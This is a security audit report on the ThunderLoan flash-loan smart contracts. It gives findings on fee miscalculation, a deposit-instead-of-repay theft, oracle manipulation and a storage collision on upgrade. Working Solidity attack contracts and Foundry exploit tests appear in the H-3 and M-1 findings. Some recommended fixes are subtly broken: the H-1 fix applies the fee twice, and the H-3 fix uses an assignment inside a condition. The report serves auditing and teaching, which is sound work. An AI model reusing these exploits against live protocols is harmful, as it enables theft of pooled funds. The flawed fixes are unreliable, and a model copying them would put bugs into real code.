ThunderLoan Audit Report

Prepared by: Jack Landon

Prepared by: Jack Landon on 2024-08-19 Lead Auditor:

- Jack Landon

Table of Contents

- [I-3] Centralization Risk in the `ThunderLoan` and `ThunderLoanUpgraded` contracts mean that the owner can change the `poolFactory` address.
- [I-4] Events are missing `indexed` flags, which help off-chain tools index events on the protocol.
- [I-5] Unused custom errors in the `ThunderLoan` and `ThunderLoanUpgraded` contracts could be removed to save gas and improve readability
- [I-6] The `0.8.20` compiler has the `PUSH0` opcode, which is not supported by all chains - and Shanghai
- [I-7] The `ThunderLoan` contract does not implement the `IThnunderLoan` interface.
- [I-8] The `IThunderLoan::repay` function signature does not match the `ThunderLoan::repay` function signature.
- [I-9] Unused import in the `IFlashLoanReceiver` interface could be removed to save gas and improve readability
- [I-10] Non-descriptive name for the `ThunderLoad::initialize` function parameter `tswapAddress`, which can cause confusion about what the parameter is.
- [I-11] The `ThunderLoan::s_feePrecision` variable is a `private storage` variable, but it isn't changed in the contract, so it should be `immutable`.
- [I-12] Various function with no natspec comments, which can cause confusion for developers who are trying to interact with the protocol and may cause them to incorrectly guess about what functions and parameters do.
- [I-13] An Event should be emitted when the `ThunderLoan::s_flashLoanFee` variable is updated from the `ThunderLoan::updateFlashLoanFee` function, to provide more context to off-chain tools.

Protocol Summary

The ⚡ThunderLoan⚡ protocol is meant to do the following:

1. Give users a way to create flash loans
2. Give liquidity providers a way to earn money off their capital

Liquidity providers can `deposit` assets into `ThunderLoan` and be given `AssetTokens` in return. These `AssetTokens` gain interest over time depending on how often people take out flash loans!

What is a flash loan?

A flash loan is a loan that exists for exactly 1 transaction. A user can borrow any amount of assets from the protocol as long as they pay it back in the same transaction. If they don't pay it back, the transaction reverts and the loan is cancelled.

Users additionally have to pay a small fee to the protocol depending on how much money they borrow. To calculate the fee, we're using the famous on-chain TSwap price oracle.

We are planning to upgrade from the current `ThunderLoan` contract to the `ThunderLoanUpgraded` contract. Please include this upgrade in scope of a security review.

ThunderLoan is a flash loan protocol based on Aave and Compound.

You can learn more about how Aave works at a high level from this video.

Disclaimer

Jack Landon makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

Scope

- Commit Hash: 8803f851f6b37e99eab2e94b4690c8b70e26b3f6
- In Scope:

```
#-- interfaces
|   #-- IFlashLoanReceiver.sol
|   #-- IPoolFactory.sol
|   #-- ITSwapPool.sol
|   #-- IThunderLoan.sol
#-- protocol
|   #-- AssetToken.sol
|   #-- OracleUpgradeable.sol
|   #-- ThunderLoan.sol
#-- upgradedProtocol
    #-- ThunderLoanUpgraded.sol
```

- Solc Version: 0.8.20
- Chain(s) to deploy contract to: Ethereum
- ERC20s:
    - USDC
    - DAI
    - LINK

- WETH

Roles

- Owner: The owner of the protocol who has the power to upgrade the implementation.
- Liquidity Provider: A user who deposits assets into the protocol to earn interest.
- User: A user who takes out flash loans from the protocol.

Executive Summary

Most of the findings in this review were informational, however there are some nasty high severity issues that need to be addressed.

Firstly, if the protocol was planning the upgrade the `ThunderLoan` contract to `ThunderLoanUpgraded`, there is a storage collision issue which needs to be addressed (H-4).

Outside of that, the main issues were in the `ThunderLoan` contract. The most devastating exploit would be how to correctly check if a flash load was repaid, ignoring any `deposits` made to the `ThunderLoan` contract (H-3).

Other issues were related to relying on `TSwap` for pricing, and small errors in how the fees are calculated, or updating the `AssetToken` exchange rate when it doesn't need to be. These issues are simple fixes however.

The greatest consideration needs to be done with how fees are calculated by referencing some oracle [M-1]. Perhaps integrating a Chainlink Price Feed is the safest way to ensure the price is accurate.

Other than these issues, the protocol is sound and shouldn't have a problem delivering on it's intentions.

Issues found

Severity	Number of Issues Found
HIGH	4
MEDIUM	1
LOW	1
INFORMATIONAL	13
Gas	1
TOTAL	20

Findings

High Severity

[H-1] The `ThunderLoan::getCalculatedFee` function calculates the `fee` in `WETH`, when it's intended to calculate the fee in the units of the `token` parameter. This causes the `fee` value to be incorrect, and may charge a very different `fee` than expected when calling the `ThunderLoan::flashloan` function.

Description: When someone executes a flash loan from `ThunderLoan::flashloan`, the function calls the `ThunderLoan::getCalculatedFee` function to calculate the fee that will be charged for the flash loan.

This value is used to determine whether the loaner has repaid the amount loaned back, *plus* the calculated fee.

The problem is that the final check in the `flashloan` function is the following:

```
if (endingBalance < startingBalance + fee) {
    revert ThunderLoan__NotPaidBack(startingBalance + fee, endingBalance);
}
```

Both the `startingBalance` and `endingBalance` are in the units of the `token` parameter, however the `fee` is calculated in `WETH` in the `ThunderLoan::getCalculatedFee` function.

We can prove this by looking at how fee is calculated in the `ThunderLoan::getCalculatedFee` function:

```
    function getCalculatedFee(IERC20 token, uint256 amount) public view
returns (uint256 fee) {
@>      uint256 valueOfBorrowedToken = (amount *
getPriceInWeth(address(token))) / s_feePrecision;
        fee = (valueOfBorrowedToken * s_flashLoanFee) / s_feePrecision;
    }
```

The `amount` is being multiplied by `getPriceInWeth`, which converts the units to `weth`, which is then processed and returned to the `flashloan` function, and assigned to the `fee` value:

```
uint256 fee = getCalculatedFee(token, amount);
```

Impact: The impact of this means that the `fee` value will vary quite a bit from what is expected, especially when the `decimals` differ from the `weth` decimals.

For example, if `USDC` has 6 decimals, and `WETH` has 18 decimals, then the `fee` will be massively more than what is expected, to the point where the `flashloan` function will almost certainly revert for every `USDC` flashloan, unless the `FlashLoanReceiver` contract has lots of `USDC` in it.

This incorrect `fee` amount will happen for every flashloan.

Recommended Mitigation: In the `ThunderLoan::getCalculatedFee` function, change the `getPriceInWeth` function to `s_flashLoanFee`:

```diff
    function getCalculatedFee(IERC20 token, uint256 amount) public view
returns (uint256 fee) {
-       uint256 valueOfBorrowedToken = (amount *
getPriceInWeth(address(token))) / s_feePrecision;
+       uint256 valueOfBorrowedToken = (amount * s_flashLoanFee) /
s_feePrecision;
        fee = (valueOfBorrowedToken * s_flashLoanFee) / s_feePrecision;
    }
```

This will multiply the `amount` by the `s_flashLoanFee` value, and then scale it down with the `s_feePrecision` value.

This means that the `OracleUpgradeable::getPriceInWeth` isn't necessary, and could therefore be removed:

```diff
-   function getPriceInWeth(address token) public view returns (uint256) {
-       address swapPoolOfToken =
IPoolFactory(s_poolFactory).getPool(token);
-       return ITSwapPool(swapPoolOfToken).getPriceOfOnePoolTokenInWeth();
-   }
```

The entire `ITSwapPool` contract could also be removed, as the `OracleUpgradeable::getPriceInWeth` was the only function that used it, which is now removed:

```diff
-   // SPDX-License-Identifier: AGPL-3.0-only
-   pragma solidity 0.8.20;
-
-   interface ITSwapPool {
-       function getPriceOfOnePoolTokenInWeth() external view returns
(uint256);
-   }
```

The entire `IPoolFactory` contract could also be removed, as the `OracleUpgradeable::getPriceInWeth` was the only function that used it, which is now removed:

```diff
-   // SPDX-License-Identifier: AGPL-3.0-only
-   pragma solidity 0.8.20;
-
-   interface IPoolFactory {
-       function getPool(address tokenAddress) external view returns
(address);
-   }
```

[H-2] The `ThunderLoan::deposit` function unneccessarily updates the `exchangeRate` in the `AssetToken` contract, which causes the expected redemption value to be incorrect, and therefore blocks people from redeeming their tokens.

Description: The `AssetToken::updateExchangeRate` function should *only* be called from the `ThunderLoan::flashloan` function, as fees are being added to the `AssetToken` contract, and the `exchangeRate` should be updated to reflect this.

This is the *only* way fees are made.

The `ThunderLoan::deposit` function calls the `AssetToken::updateExchangeRate` function:

▶ Code

```
    function deposit(IERC20 token, uint256 amount) external
revertIfZero(amount) revertIfNotAllowedToken(token) {
        AssetToken assetToken = s_tokenToAssetToken[token];
        uint256 exchangeRate = assetToken.getExchangeRate();
        uint256 mintAmount = (amount *
assetToken.EXCHANGE_RATE_PRECISION()) / exchangeRate;
        emit Deposit(msg.sender, token, amount);
        assetToken.mint(msg.sender, mintAmount);

@>      uint256 calculatedFee = getCalculatedFee(token, amount);
@>      assetToken.updateExchangeRate(calculatedFee);

        token.safeTransferFrom(msg.sender, address(assetToken), amount);
    }
```

This means that the `AssetToken` thinks it has more fees than it really does, so redemptions are blocked and further updates to the `AssetToken::s_exchangeRate` are incorrect.

Impact: Incorrectly calling this function will cause the `AssetToken::s_exchangeRate` storage variable to be incorrect, and therefore the `AssetToken::getUnderlyingAmount` function will return an incorrect value, which will cause the `ThunderLoan::redeem` function to revert unless the user specified the exact amount of tokens they want to redeem.

Proof of Concept: In The `ThunderLoanTest.t.sol`, write a test where:

1. A liquidity provider provides deposit,
2. A flash loan is executed,
3. The liquidity provider tries to redeem their tokens + the flash loan fees
4. The `redeem` function reverts.

▶ Proof Of Code

```
    function testRedeemAfterLoan() public setAllowedToken hasDeposits {
        uint256 amountToBorrow = AMOUNT * 10;
        uint256 calculatedFee = thunderLoan.getCalculatedFee(tokenA,
```

```
amountToBorrow);
        vm.startPrank(user);
        tokenA.mint(address(mockFlashLoanReceiver), AMOUNT);
        thunderLoan.flashloan(address(mockFlashLoanReceiver), tokenA,
amountToBorrow, "");
        vm.stopPrank();

        uint256 amountToRedeem = type(uint256).max;
        vm.startPrank(liquidityProvider);
        thunderLoan.redeem(tokenA, amountToRedeem);
    }
```

This will fail, and we can see that the `redeem` function reverts and `ERC20InsufficientBalance` error. The logic is sound, and we can see that the `transfer` function is trying to transfer `1003300900000000000000` tokens, when it only has:

1. The `1000000000000000000000` from the deposit, and
2. The `3000000000000000000` from the fee,
3. However, it's attempting to pull out an additional `3009000000000000000`.

Now, remove the exchange rate update in the `ThunderLoan::deposit`, as shown in the `Recommended Change` below, and the test will pass.

Recommended Change: In the `ThunderLoan:deposit` function, remove the line for the `calculatedFee`, and also the line to update the exchange rate in the `AssetToken`.

```diff
-       uint256 calculatedFee = getCalculatedFee(token, amount);
-       assetToken.updateExchangeRate(calculatedFee);
```

[H-3] The check for success of a flash loan repayment in `ThunderLoan::flashloan` is exploitable, as an attacker can deposit redeemable value to the `ThunderLoan` contract to satisfy their repayment on a flash loan, and then withdraw it after the flash loan is repaid, meaning funds are stolen from other liquidity providers.

Description: Inside the `ThunderLoan::flashloan` function, the only checks for the success of the flash loan repayment are the following:

```
function flashloan(...) {
@>      uint256 startingBalance =
IERC20(token).balanceOf(address(assetToken));
        .
        // Do Flashloan
        .
@>      uint256 endingBalance = token.balanceOf(address(assetToken));
        if (endingBalance < startingBalance + fee) {
            revert ThunderLoan__NotPaidBack(startingBalance + fee,
endingBalance);
```

```
        }
    }
```

Since the function *only* checks the `startingBalance` and `endingbalance`, an attacker can do anything to manipulate these values in between.

This means that they could create a malicious flash loan receiver contract which makes a deposit to `ThunderLoan`.

Since the `ThunderLoan::deposit` function allows for the depositor to later redeem their tokens, the attacker can deposit the exact amount of tokens they need to repay the flash loan, and then redeem them after the flash loan is repaid.

All the while, the `endingBalance` > `startingBalance` + `fee`, because they made the deposit.

Then after the flash loan is successfull, they can redeem their tokens, and steal the funds from the other liquidity providers.

Impact: This is a critical vulnerability as it allows for attackers to steal the funds from other liquidity providers.

Proof of Concept:

1. Create a malicious Flash loan receiver contract, which receives a flash loan, and then calls `ThunderLoan::deposit` to deposit the exact amount of tokens needed to repay the flash loan.
2. Add enough funds to the malicious flash loan receiver contract to repay the flash loan.
3. Call the `ThunderLoan::flashloan` function with the malicious flash loan as the `receiver` parameter.
4. After the flash loan is repaid, call the `redeem` function on the malicious flash loan receiver contract to redeem the tokens.

In the `ThunderLoanTest.t.sol`, create a malicious flash loan receiver contract, which has 2 functions:

1. `executeOperation` to execute the flash loan, and
2. `redeemMoney` to redeem the tokens after the flash loan is settled.

▶ DepositOverRepay Contract

```
contract DepositOverRepay is IFlashLoanReceiver {
    ThunderLoan thunderLoan;
    AssetToken assetToken;
    address s_token;

    constructor(address _thunderLoan) {
        thunderLoan = ThunderLoan(_thunderLoan);
    }

    function executeOperation(
        address token,
        uint256 amount,
        uint256 fee,
```

```
            address /*initiator*/,
            bytes calldata /*params*/
        )
            external
            returns (bool) {
                assetToken = thunderLoan.getAssetFromToken(IERC20(token));
                s_token = token;
                IERC20(token).approve(address(thunderLoan), amount + fee);
                thunderLoan.deposit(IERC20(token), amount + fee);
                return true;
            }

        function redeemMoney() public {
            uint256 amount = IERC20(assetToken).balanceOf(address(this));
            thunderLoan.redeem(IERC20(s_token), amount);
        }
    }
```

Then in `ThunderLoan.t.sol`, create a test where the `DepositOverRepay` contract is used to execute a flash loan, and then redeem the tokens after the flash loan is repaid.

At the end, assert than the balance of the malicious contract is greater than the `amountBorrowed` + `fee`.

▶ Proof Of Code

```
function testUseDepositInsteadOfRepayToStealFunds() public setAllowedToken
hasDeposits {
        vm.startPrank(user);
        uint256 amountToBorrow = 50e18;
        uint256 fee = thunderLoan.getCalculatedFee(tokenA,
amountToBorrow);
        DepositOverRepay dor = new DepositOverRepay(address(thunderLoan));
        tokenA.mint(address(dor), fee);
        thunderLoan.flashloan(address(dor), tokenA, amountToBorrow, "");
        dor.redeemMoney();
        vm.stopPrank();

        assert(tokenA.balanceOf(address(dor)) > amountToBorrow + fee);
    }
```

Recommended Mitigation: Consider a new way to check the success of the flash loan repayment, such as checking the `flashLoanReceiver` contract to see if the flash loan was repaid.

Alternatively, add a check for `s_currentlyFlashLoaning` in the `ThunderLoan::deposit` function, and revert if the contract is currently flash loaning.

```
+   error ThunderLoan__CurrentlyFlashLoaning();
    .
    .
```

```diff
    .
    function deposit(IERC20 token, uint256 amount) external
revertIfZero(amount) revertIfNotAllowedToken(token) {
+       if (s_currentlyFlashLoaning[token] = true) {
+           revert ThunderLoan__CurrentlyFlashLoaning();
+       }
        .
        .
        .
    }
```

This will prevent a deposit from being made while a flash loan is being executed, and prevent the attacker from being able to withdraw funds later.

[H-4] Storage Collision issue with the `ThunderLoanUpgraded` contract, which causes variables to have different values after an upgrade when it should be the same.

Description: If the owner of the `ThunderLoan` contract calls the `ThunderLoan::upgradeToAndCall` function and sets the upgraded contract to be the `ThunderLoanUpgraded` contract, the `s_flashLoanFee` fee will have a different value in the `ThunderLoanUpgraded` contract than it does in the `ThunderLoan` contract.

This is because in the upgraded contract, it's assigned to a new storage slot (it takes position 2 now, instead of 3).

Impact: This problem is only an issue *if* the protocol is upgraded to the `ThunderLoanUpgraded` implementation of the contract. It will cause major issues, as some of the storage variables will have different values than they did in the previous contract.

This can wildly alter the fee amounts, and other important values in the protocol.

Values like:

- `s_flashLoanFee`,
- `s_feePrecision`, and
- `s_currentlyFlashLoaning`

will be different. If `s_currentlyFlashLoaning` changes, it could cause the protocol to think it's in a flash loan, when it's not and brick any further flash loans.

If `s_flashLoanFee` or `s_feePrecision` changes, it could cause the protocol to charge different fees than expected.

Proof of Concept: This storage collision can be demonstrated by writing a test in `ThunderLoanTest.t.sol`, where:

1. The `s_flashLoanFee` value is caputured from the `ThunderLoan` contract by calling `ThunderLoan::getFee`.
2. Deploy the new implementation as the `ThunderLoanUpgraded` contract.
3. Upgrade the proxy `ThunderLoan` contract to now be the `ThunderLoanUpgraded` contract.

4. Caputure the `s_flashLoanFee` value from the `ThunderLoanUpgraded` contract by calling `ThunderLoanUpgraded::getFee`.
5. Assert that the fee value after upgrading is *different* than before.

▶ Proof Of Code

```
    import {ThunderLoanUpgraded} from
"../../src/upgradedProtocol/ThunderLoanUpgraded.sol";
    .
    .
    .
    function testUpgradeBreaks() public {
        uint256 feeBeforeUpgrade = thunderLoan.getFee();
        vm.startPrank(thunderLoan.owner());
        ThunderLoanUpgraded upgraded = new ThunderLoanUpgraded();
        thunderLoan.upgradeToAndCall(address(upgraded), "");
        uint256 feeAfterUpgrade = thunderLoan.getFee();
        vm.stopPrank();

        console.log("Fee Before: ", feeBeforeUpgrade);
        console.log("Fee After: ", feeAfterUpgrade);

        assertNotEq(feeBeforeUpgrade, feeAfterUpgrade);
    }
```

And we can see from the logs that the Fees are different: Fee Before: 3000000000000000 Fee After: 1000000000000000000

You can also see the storage layout difference by running `forge inspect ThunderLoan storage`, and then `forge inspect ThunderLoanUpgraded storage`, and checking each of the slots on the storage variables.

Recommended Mitigation: When upgrading contracts, it's important to make sure the storage variables in the upgraded contract occupy the *same* storage slots as they did in the previous contract.

Be mindful that changing `storage` variables to `constant` or `immutable` will change the storage slot of the variable as well. When a variable is `constant` or `immutable`, it won't have a storage slot, and will rather be baked into the contract's bytecode. If this is the case, it may be best to add a dead storage variable in it's place so as to not change the storage slot of the proceeding variables.

```diff
-   uint256 private s_flashLoanFee; // 0.3% ETH fee
-   uint256 public constant FEE_PRECISION = 1e18;
+   uint256 private s_blank;
+   uint256 private s_flashLoanFee; // 0.3% ETH fee
+   uint256 public constant FEE_PRECISION = 1e18;
```

Medium Severity

[M-1] Risk of Price Oracle Manipulation in the `ThunderLoan::getCalculatedFee` function, which causes the `fee` to be much smaller than expected.

Description: When using the price of a token to calculate important values, it's important the the price is not able to be easily changed over a very short time (e.g. a block).

When using liquidity pools, a price can be quickly altered to the benefit of an attacker, where they can utilize tools like flash loans to dramatically change the state of a liquidity pool (thus changing the price), using the new price to their advantage (getting cheap fees), and then the restoring the pool to its original state.

In the `ThunderLoan` protocol, the `ThunderLoan::getCalculatedFee` function uses the `TSwap getPriceInWeth` function to determine the `fee` a flashloaner will pay.

```
    function getCalculatedFee(IERC20 token, uint256 amount) public view
returns (uint256 fee) {
@>      uint256 valueOfBorrowedToken = (amount *
getPriceInWeth(address(token))) / s_feePrecision;
        fee = (valueOfBorrowedToken * s_flashLoanFee) / s_feePrecision;
    }
```

If the attack can manipulate the price of the token, they can get a flashloan for a much smaller fee than expected.

Impact: The fee paid to the protocol will be much smaller than expected, and attackers can execute flashloans with smaller fees than the protocol intends.

Proof of Concept: In the `ThunderLoanTest.t.sol`, create a mock malicious Flash loan receiver contract, which will call 2 flashloans from the `ThunderLoan` contract.

- The first flashloan will manipulate the price of the token to be much lower than expected.
- The second flashloan will execute a flashloan with the manipulated price.

▶ MaliciousFlashLoanReceiver Contract

```
contract MaliciousFlashLoanReceiver is IFlashLoanReceiver {
    BuffMockTSwap tswapPool;
    ThunderLoan thunderLoan;
    address repayAddress;
    bool attacked;
    uint256 public feeOne;
    uint256 public feeTwo;

    constructor(address _tswapPool, address _thunderLoan, address
_repayAddress) {
        tswapPool = BuffMockTSwap(_tswapPool);
        thunderLoan = ThunderLoan(_thunderLoan);
        repayAddress = _repayAddress;
        attacked = false;
```

```
    }

    function executeOperation(
        address token,
        uint256 amount,
        uint256 fee,
        address /*initiator*/,
        bytes calldata /*params*/
    )
        external
        returns (bool) {
            if (!attacked) {
                // 1. Swap TokenA borrow for WETH
                // 2. Take out ANOTHER flash loan to show the difference
                feeOne = fee;
                attacked = true;

                // Swap TokenA for WETH
                uint256 amountToSwap = 50e18;
                uint256 tokenAReserves = 100e18; // We know this from the
test
                uint256 wethReserves = 100e18; // We know this from the
test
                uint256 wethBought =
tswapPool.getOutputAmountBasedOnInput(amountToSwap, tokenAReserves,
wethReserves);
                IERC20(token).approve(address(tswapPool), amountToSwap);
                // Tanks the price

tswapPool.swapPoolTokenForWethBasedOnInputPoolToken(amountToSwap,
wethBought, block.timestamp);
                // Now call a second flash loan
                thunderLoan.flashloan(address(this), IERC20(token),
amount, "");
                // repay the first loan
                IERC20(token).approve(address(thunderLoan), amount + fee);
                // thunderLoan.repay(IERC20(token), amount + fee);
                IERC20(token).transfer(repayAddress, amount + fee);
            } else {
                // Calculate the fee and repay
                feeTwo = fee;
                // repay the second loan
                IERC20(token).approve(address(thunderLoan), amount + fee);
                // thunderLoan.repay(IERC20(token), amount + fee);
                IERC20(token).transfer(repayAddress, amount + fee);
            }
            return true;
        }
}
```

Now, set up a test in the `ThunderLoanTest.t.sol` contract, where the `MaliciousFlashLoanReceiver` contract is used to execute the flashloans.

▶ Proof Of Code

```
    function testOracleManipulation() public {
        // Swap it on the dex, tanking the price of tokenA > 150 TokenA :
~80 WETH
        // Take out another flash loan of 50 TokenA (and see how much
cheaper it is)

        // 1. Setup contracts
        thunderLoan = new ThunderLoan();
        tokenA = new ERC20Mock();
        proxy = new ERC1967Proxy(address(thunderLoan), "");

        BuffMockPoolFactory pf = new BuffMockPoolFactory(address(weth));
        // Create a TSwap Dex between WETH/TokenA
        address tswapPool = pf.createPool(address(tokenA));

        thunderLoan = ThunderLoan(address(proxy));

        thunderLoan.initialize(address(pf));

        // 2. Fund TSwap
        uint256 amountToDepositToTSwap = 100e18;
        vm.startPrank(liquidityProvider);
        tokenA.mint(liquidityProvider, amountToDepositToTSwap);
        tokenA.approve(address(tswapPool), amountToDepositToTSwap);
        weth.mint(liquidityProvider, amountToDepositToTSwap);
        weth.approve(address(tswapPool), amountToDepositToTSwap);

        BuffMockTSwap(tswapPool).deposit(amountToDepositToTSwap,
amountToDepositToTSwap, amountToDepositToTSwap, block.timestamp);
        vm.stopPrank();
        // Ratio 100 WETH & 100 TokenA
        // Price 1:1

        // 3. Fund ThunderLoan
        vm.prank(thunderLoan.owner());
        thunderLoan.setAllowedToken(tokenA, true);

        vm.startPrank(liquidityProvider);
        uint256 amountToDepositToThunderLoan = 1000e18;
        tokenA.mint(liquidityProvider, amountToDepositToThunderLoan);
        tokenA.approve(address(thunderLoan),
amountToDepositToThunderLoan);
        thunderLoan.deposit(tokenA, amountToDepositToThunderLoan);
        vm.stopPrank();

        // In TSwap: 100 WETH & 100 TokenA in TSwapPool
        // In ThunderLoan: 1000 TokenA

        // 4. We are going to take out 2 flash Loans
        //      a. To Nuke The Price of the WETH/TokenA on TSwap
        //      b. To show that dong so greatly reduces the fees we pay on
```

```
ThunderLoan

        // Take out a flash loan of 50 tokenA
        uint256 loanAmount = 100e18;
        uint256 normalFeeCost = thunderLoan.getCalculatedFee(tokenA,
loanAmount);
        console.log("Normal fee is: ", normalFeeCost);
        // Normal fee is:  0.296147410319118389

        uint256 amountToBorrow = 50e18; // We are going to do this twice
        MaliciousFlashLoanReceiver flr = new
MaliciousFlashLoanReceiver(address(tswapPool), address(thunderLoan),
address(thunderLoan.getAssetFromToken(tokenA)));

        vm.startPrank(user);
        uint256 amountToMintToCoverFee = 100e18;
        tokenA.mint(address(flr), amountToMintToCoverFee);
        thunderLoan.flashloan(address(flr), tokenA, amountToBorrow, "");
        vm.stopPrank();

        uint256 attackFee = flr.feeOne() + flr.feeTwo();
        console.log("Attack Fee is: ", attackFee);
        assert(attackFee < normalFeeCost);
    }
```

When running the test, we can see the following logs: Normal fee is: 296147410319118389 Attack Fee is: 214167600932190305

So, when the contract is attacked with the much lower rate, the fee is much lower than expected amount.

Recommended Mitigation: Use a different price oracle. For popular tokens, use a ChainLink price feed, or a Uniswap TWAP oracle.

Low Severity

[L-1] Failure to Initialize Risk: `ThunderLoan::initialize` can be front-run such that someone else can choose the `tswapAddress` before the deployer.

Description: If the `ThunderLoan` contract is deployed and the `initialize` function isn't called, someone else can call the `initialize` function with their own `tswapAddress` before the deployer does.

This can cause an issue with the oracle as the `OracleUpgradeable` function uses this value in the `OracleUpgradeable::getPriceInWeth` function:

```
    function getPriceInWeth(address token) public view returns (uint256) {
        address swapPoolOfToken =
IPoolFactory(s_poolFactory).getPool(token);
        return ITSwapPool(swapPoolOfToken).getPriceOfOnePoolTokenInWeth();
    }
```

Impact: If this function call is front-run the prices from the oracle *could* be incorrect, depending on what the person who calls `initialize` sets the `tswapAddress` to.

Recommended Mitigation: In the deploy script, it's worth adding an `initialize` function call immediately after deploying the `ThunderLoan` contract to prevent this from happening.

Gas Optimizations

[G-1] The `AssetToken::updateExchangeRate` function has many unnecessary `storage` reads for the `AssetToken::s_exchangeRate` variable, causing gas inefficiency.

Description: When reading the same value from storage many times in a function, it's best to store this is memory first, and then use the memory variable for the rest of the function, unless it changes.

In this case, it doesn't change, so store it in memory first.

Impact: This will improve gas efficiency for the `AssetToken::updateExchangeRate` function.

Proof of Concept:

Recommended Mitigation:

1. In the `AssetToken::updateExchangeRate` function, declare the variable `oldExchangeRate` and set it to `s_exchangeRate` first.
2. Then change the instances of `s_exchangeRate` to `oldExchangeRate` the memory variable for the rest of the function.
3. Additionally, instead of using the `s_exchangeRate` in the event emission at the end of the function, use the `newExchangeRate` variable. It's the same value, however instead of reading from storage, it reads from memory.

```
    function updateExchangeRate(uint256 fee) external onlyThunderLoan {
+       uint256 oldExchangeRate = s_exchangeRate;

-       uint256 newExchangeRate = s_exchangeRate * (totalSupply() + fee) / totalSupply();
+       uint256 newExchangeRate = oldExchangeRate * (totalSupply() + fee) / totalSupply();

-       if (newExchangeRate <= s_exchangeRate) {
+       if (newExchangeRate <= oldExchangeRate) {
-           revert AssetToken__ExhangeRateCanOnlyIncrease(s_exchangeRate, newExchangeRate);
+           revert AssetToken__ExhangeRateCanOnlyIncrease(oldExchangeRate, newExchangeRate);
        }
        s_exchangeRate = newExchangeRate;
-       emit ExchangeRateUpdated(s_exchangeRate);
+       emit ExchangeRateUpdated(newExchangeRate);
    }
```

Informational

[I-1] Missing check for `address(0)` when setting `s_poolFactory` in the `OracleUpgradeable::__Oracle_init_unchained` function.

Description: The `OracleUpgradeable::__Oracle_init_unchained` function is missing a check on the `poolFactoryAddress` parameter to check it it is `address(0)`.

Impact: This doesn't have a major impact on the functionality of the protocol, however if the `poolFactoryAddress` is accidentally set to `address(0)`, it will break much of the core protocol functionality, and therefore should check to see if `poolFactoryAddress` is `address(0)`.

Recommended Change:

```
    function __Oracle_init_unchained(address poolFactoryAddress) internal
onlyInitializing {
+       if (poolFactoryAddress == address(0)) revert();
        s_poolFactory = poolFactoryAddress;
    }
```

[I-2] `public` functions not used internally could be marked `external` to improve gas efficiency and security.

Description: An `external` function is more gas efficient, and if it's not explicitly used in the contract, it could represent a security risk as it should never be called inside the contract.

The affected functions are:

- `ThunderLoan::repay`
- `ThunderLoan::getAssetFromToken`
- `ThunderLoan::isCurrentlyFlashLoaning`
- `ThunderLoanUpgraded::repay`
- `ThunderLoanUpgraded::getAssetFromToken`
- `ThunderLoanUpgraded::isCurrentlyFlashLoaning`
- `OracleUpgradeable::getPriceInWeth`

Impact: This won't have any major direct impact on the protocol, but it will improve gas fees when calling these functions

Recommended Mitigation: In each of the functions, replace the `public` keyword with `external`.

[I-3] Centralization Risk in the `ThunderLoan` and `ThunderLoanUpgraded` contracts mean that the owner can change the `poolFactory` address.

Description: Centralization risk can be a security risk for stakeholders of the contract, as the owner has special privleges to make unforseen changes to the protocol.

In the ThunderLoan protocol, the following functions are susceptible to centralization risk:

- `ThunderLoan::setAllowedToken`

- `ThunderLoan::updateFlashLoanFee`
- `ThunderLoan::_authorizeUpgrade`
- `ThunderLoanUpgraded::setAllowedToken`
- `ThunderLoanUpgraded::updateFlashLoanFee`
- `ThunderLoanUpgraded::_authorizeUpgrade`

Impact: The usefulness of the protocol is somewhat dependent on the owner. In certain cases, like `setAllowedToken`, it's helpful as the owner may have the ability to understand which tokens are safe to use in the protocol, and to not allow unsafe tokens.

In the case of `updateFlashLoanFee`, it's also not a major issue, as everyone has access to the updated value of the updated `s_flashLoanFee` value.

The main concern is the `ThunderLoanUpgraded::_authorizeUpgrade` function, where the logic and rules of the protocol can be changed entirely on the whim of the owner.

Recommended Change: This is a design decision, and it is up to the protocol to decide if they want to keep this centralization risk.

[I-4] Events are missing `indexed` flags, which help off-chain tools index events on the protocol.

Description: Events are a way to log important information about the protocol, and are used by off-chain tools to index and search for important information. By adding the `indexed` flag to an event, it allows off-chain tools to index the event by that parameter.

The following events are missing the `indexed` flag:

- `AssetToken::ExchangeRateUpdated`
- `ThunderLoan::Deposit`
- `ThunderLoan::AllowedTokenSet`
- `ThunderLoan::Redeemed`
- `ThunderLoan::FlashLoan`
- `ThunderLoanUpgraded::Deposit`
- `ThunderLoanUpgraded::AllowedTokenSet`
- `ThunderLoanUpgraded::Redeemed`
- `ThunderLoanUpgraded::FlashLoan`

Impact: This doesn't have a major impact on the protocol, but it can make it harder for off-chain tools to index and search for important information.

Recommended Changes: Each of these events should have 3 `indexed` flags. If there are less than 3 parameters for the event, the `indexed` flag should be added to the all parameters.

For example:

- `AssetToken::ExchangeRateUpdated`

```diff
-   event ExchangeRateUpdated(uint256 newExchangeRate);
+   event ExchangeRateUpdated(uint256 indexed newExchangeRate);
```

- `ThunderLoan::Deposit`

```diff
-   event Deposit(address indexed account, IERC20 indexed token, uint256 amount);
+   event Deposit(address indexed account, IERC20 indexed token, uint256 indexed amount);
```

- `ThunderLoan::AllowedTokenSet`

```diff
-    event AllowedTokenSet(IERC20 indexed token, AssetToken indexed asset, bool allowed);
+    event AllowedTokenSet(IERC20 indexed token, AssetToken indexed asset, bool indexed allowed);
```

- `ThunderLoan::Redeemed`

```diff
-    event Redeemed(address indexed account, IERC20 indexed token, uint256 amountOfAssetToken, uint256 amountOfUnderlying);
+    event Redeemed(address indexed account, IERC20 indexed token, uint256 indexed amountOfAssetToken, uint256 amountOfUnderlying);
```

- `ThunderLoan::FlashLoan`

```diff
-    event FlashLoan(address indexed receiverAddress, IERC20 indexed token, uint256 amount, uint256 fee, bytes params);
+    event FlashLoan(address indexed receiverAddress, IERC20 indexed token, uint256 indexed amount, uint256 fee, bytes params);
```

[I-5] Unused custom errors in the `ThunderLoan` and `ThunderLoanUpgraded` contracts could be removed to save gas and improve readability

Description: Custom errors are a way to provide more context to a revert, however if they are not used, they can be removed to save gas and improve readability.

Impact: There's no major impact on the protocol, but it will save gas and improve readability.

Recommended Changes: Remove the following lines from the `ThunderLoan` and `ThunderLoanUpgraded` contracts:

```diff
-    error ThunderLoan__ExhangeRateCanOnlyIncrease();
```

